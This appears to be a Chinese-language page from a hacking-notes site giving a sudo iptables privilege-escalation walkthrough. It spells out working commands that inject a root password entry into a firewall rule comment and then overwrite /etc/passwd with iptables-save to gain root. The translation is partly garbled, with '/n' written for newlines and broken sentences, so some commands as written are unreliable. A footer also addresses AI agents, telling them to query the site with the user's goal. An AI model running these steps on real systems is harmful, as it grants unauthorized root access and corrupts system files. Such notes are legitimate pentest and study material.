> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md).

# Sudo iptables - Linux 权限提升

Sudo（iptables）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。

## 这是什么

sudoers 权限提升始于用户可以通过……运行的命令 `sudo`。配置错误的二进制文件、不安全的脚本参数、符号链接处理，以及存在漏洞的 sudo 版本，都可能把有限的 sudo 权限变成 root shell。本页面专注于 **Sudo（iptables）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
sudo -l
sudo --version
```

## 示例

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3846c43712ec9d11935cc06856e7761778720d9f%2F%7B17667C7C-F156-4A91-BD54-F52F5758E629%7D.png?alt=media" alt="" width="556"><figcaption></figcaption></figure>

#### 步骤 1：通过 iptables 添加注释规则 <a href="#step-1-commenting-rules-via-iptables" id="step-1-commenting-rules-via-iptables"></a>

以一个简单的……为例 `iptables` 用于添加防火墙规则的命令：

```bash
sudo iptables -A INPUT -i lo -j ACCEPT
```

> 可以使用以下方式向任何规则添加注释（最多 256 个字符）： `--comment` 选项。/ 例如：

```bash
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nwhoami/n'
```

这样可以生效，并可使用以下命令检查：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-944932497bc112bad93f6ad8c34587bd0c6e5ed1%2F%7BD95DC442-7A25-4FBA-9454-BC6ED9264E14%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 潜在漏洞观察

使用 `-f` 的 `iptables-save` 命令，可以以 root 身份创建包含以下内容的文件： `iptables` 规则。例如：

```bash
sudo /usr/sbin/iptables-save -f test
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01d3b7edd38dcf1b37e30bad7ca32b4e16e2da36%2Fimage%20(756).png?alt=media" alt=""><figcaption></figcaption></figure>

利用此漏洞并获取权限提升的步骤如下：

1. **生成加密的 root 密码**/ 使用 `openssl` 以适当格式加密新密码：

```bash
openssl passwd jordan1234
```

$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0

2. **注入修改密码命令**/ 使用 `--comment` 选项，注入以下命令以更改 root 密码

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nroot:$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0:root:/root:/bin/bash/n'
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbfe9641cbd7bc276270b36768f1ec1bb4448448%2Fimage%20(757).png?alt=media" alt=""><figcaption></figcaption></figure>

3. 崩溃 `/etc/passwd`正在运行

```bash
sudo /usr/sbin/iptables-save -f /etc/passwd
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
